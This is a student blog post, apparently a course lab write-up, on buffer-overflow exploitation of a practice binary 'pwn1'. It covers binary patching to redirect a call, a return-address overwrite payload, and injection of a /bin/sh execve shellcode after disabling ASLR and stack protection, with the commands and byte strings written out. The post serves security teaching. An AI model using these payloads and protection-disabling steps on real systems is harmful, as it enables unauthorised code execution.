把博客园图标替换成自己的图标
把博客园图标替换成自己的图标end
旋转立方体
旋转立方体end
返回顶部

20211912 2021-2022-2 《网络攻防实践》第九周作业

20211912 2021-2022-2 《网络攻防实践》第九周作业

1 知识点梳理与总结

1.1 汇编指令的机器码

  • NOP:NOP指令即空指令,运行该指令时CPU什么都不做,但是会占用一个指令的时间(机器码:90)

  • JNE:条件转移指令,如果不相等则跳转(机器码:75)

  • JE:条件转移指令,如果相等则跳转(机器码:74)

  • JMP:无条件跳转指令,短跳转,只跳转到256字节的范围内(机器码:EB);近跳转,可跳转至同一个段的范围内的地址(机器码:E9);远跳转,可跳转至任意地址,使用48位/32位全指针(机器码:EA)

  • CMP:比较指令,CMP指令执行后,将对标志寄存器产生影响,其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果

1.2 shellcode

  • shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名;shellcode常常使用机器语言编写,可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令

  • shellcode可以按照攻击者执行的位置分为本地shellcode和远程shellcode

    • 本地shellcode:本地运行的shellcode经常用于利用软件漏洞提升权限,比如在Linux下由普通权限提升至root权限
    • 远程shellcode:利用软件漏洞获得特定的shellcode,再经由C或Python编写远程攻击程序,进而取得对方电脑的root权限

1.3 Bof攻击防御技术

  • 从防止注入的角度:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生

  • 注入了也不让运行:合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行,这样即使是注入的shellcode到堆栈上,也执行不了

  • 增加shellcode的构造难度:shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置,这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址;ALSR,地址随机化就是让OS每次都用不同的地址加载应用,这样通过预先反汇编或调试得到的那些地址就都不正确了

  • 从管理的角度:加强编码质量,注意边界检测,使用最新的安全的库函数

1.4 实践内容

2 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 首先将pwn1复制到虚拟机内,并备份一个命名为pwn2

  • 使用objdump -d pwn1命令对pwn1进行反汇编

  • call 8048491是汇编指令,是说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为e8 d7ffffffe8即跳转之意,当解释e8这条指令时,CPU就会转而执行EIP + d7ffffff这个位置的指令,d7ffffff补码80484ba+d7ffffff=80484ba-0x29正好是8048491这个值

  • main函数调用foo函数,对应机器指令为e8 d7ffffff,那我们想让它调用getShell,只要修改d7ffffffgetShell-80484ba对应的补码就行;用Windows计算器,直接47d-4ba就能得到补码c3ffffff

  • 由此我们就修改可执行文件,将其中的call指令目标地址d7ffffff变为c3ffffff以实现改变程序执行流程

  • 打开我们备份的文件pwn2,显示为乱码,输入:%!xxd将显示模式切换为十六进制模式

  • 查找要修改的内容e8d7ffffff,将其修改为c3ffffff,之后使用:%!xxd -r转换十六进制原格式后保存并退出

  • 以下操作是在vi内

1.按ESC键
2.输入如下,将显示模式切换为十六进制模式(:%!xxd)
3.查找要修改的内容(/d7)
4.找到后前后的内容和反汇编的对比下,确认地方是正确的
5.修改d7为c3
6.转换16进制为原格式(:%!xxd -r)
7.存盘退出vi(:wq)
  • 使用objdump -d pwn2命令对pwn2进行反汇编,检查call指令是否正确调用getShell

  • 运行修改后的代码,会得到shell提示符

3 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 首先使用objdump -d pwn1 | more命令对pwn1进行反汇编,了解程序的基本功能;该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞,我们的目标是利用此漏洞覆盖返回地址

  • gdb调试程序,再使用info r命令查看寄存器的值,发现输入的1234被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址

  • 于是我们将getShell的地址0x0804847d把后面的数值替换,即是输入11111111222222223333333344444444\x7d\x84\x04\x08

  • 由于我们没法通过键盘输入\x7d\x84\x04\x08这样的十六进制值,所以先生成包括这样字符串的一个文件;\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键

  • 于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件,然后查看input文件的内容是否如预期

  • 然后将input的输入,通过管道符|,作为pwn1的输入,会得到shell提示符

4 注入一个自己制作的shellcode并运行这段shellcode

  • shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令

  • 这里所使用的shellcode是:==\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80==

  • 在root模式下进行准备工作

    • 设置堆栈可执行:execstack -s pwn1
    • 查询文件的堆栈是否可执行:execstack -q pwn1
    • 查看随机化是否关闭,如显示0则已关闭,否则未关闭:more /proc/sys/kernel/randomize_va_space
    • 关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space
    • 再次检查地址随机化是否关闭:more /proc/sys/kernel/randomize_va_space
  • Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcodenop+shellcode+retaddr

  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面,简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边;这里的缓冲区足够放shellcode,所以采用nops+shellcode+retaddr,使用perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode命令输出重定向>perl生成的字符串存储到文件input_shellcode

  • 使用(cat input_shellcode;cat) | ./pwn1命令注入

  • 再打开另外一个终端,使用ps -ef | grep pwn1命令找到pwn1进程号3534

  • gdb中使用attach 3534命令调试这个进程,使用disassemble foo命令查看到ret的地址

  • 使用break *0x080484ae命令设置断点,再输入c继续运行,同时在之前的终端中按下回车,这时使用info r esp命令查看栈顶指针的地址,使用x/16x 0xffffd16c命令查看其存放内容,可以清楚的看到0x01020304,那么我们就可以得到覆盖到返回地址的地址应该是0xffffd170

  • 使用perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode命令修改input_shellcode文件,再使用(cat input_shellcode;cat) | ./pwn1执行,会得到shell提示符

5 学习中遇到的问题及解决

  • 问题1:execstack下载失败
  • 问题1解决方案:更换软件源进行下载

7 学习感悟、思考

  • 本次实践在本科期间做过,所以是一次温习,加深了我对机器指令、BOF攻击、Shellcode注入执行的理解

8 参考资料

posted @ 2022-05-11 16:19  小忽悠yuooo  阅读(114)  评论(0编辑  收藏  举报